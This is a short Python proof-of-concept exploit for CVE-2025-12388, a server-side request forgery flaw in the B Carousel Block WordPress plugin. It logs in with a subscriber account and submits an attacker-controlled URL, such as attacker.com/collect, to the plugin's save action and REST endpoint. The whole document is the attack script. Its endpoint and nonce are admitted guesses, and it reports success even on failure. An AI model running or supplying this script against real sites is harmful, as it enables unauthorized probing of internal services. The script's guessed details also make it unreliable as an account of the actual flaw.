CVE-2025-12388

import requests import sys # CVE-2025-12388 SSRF PoC for B Carousel Block WordPress Plugin # Target: WordPress site with B Carousel Block plugin <= 1.1.5 def exploit_ssrf(target_url, attacker_server, username, password): """ Exploit SSRF vulnerability in B Carousel Block plugin Args: target_url: Target WordPress site URL attacker_server: Attacker's controlled server to receive requests username: WordPress subscriber-level username password: WordPress account password """ # Step 1: Authenticate to WordPress session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/" } login_response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Send SSRF payload via plugin's URL field # Target the carousel block's image URL parameter ssrf_payload = attacker_server # e.g., http://attacker.com/collect # Construct the malicious request # The exact endpoint depends on the plugin's implementation exploit_data = { 'carousel_url': ssrf_payload, # SSRF payload 'action': 'b_carousel_block_save', 'nonce': 'attacker_controlled_or_guessed' # May need to fetch valid nonce } # Alternative: Target REST API endpoint if available api_endpoint = f"{target_url}/wp-json/b-carousel-block/v1/carousel" try: response = session.post(api_endpoint, json=exploit_data, timeout=10) print(f"[+] SSRF request sent to {ssrf_payload}") print(f"[*] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[*] Request sent (check {attacker_server} for incoming connection)") return True if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python cve-2025-12388.py <target_url> <attacker_server> <username> <password>") print("Example: python cve-2025-12388.py http://victim.com http://attacker.com:8080 user pass") sys.exit(1) target = sys.argv[1] server = sys.argv[2] user = sys.argv[3] pwd = sys.argv[4] exploit_ssrf(target, server, user, pwd)

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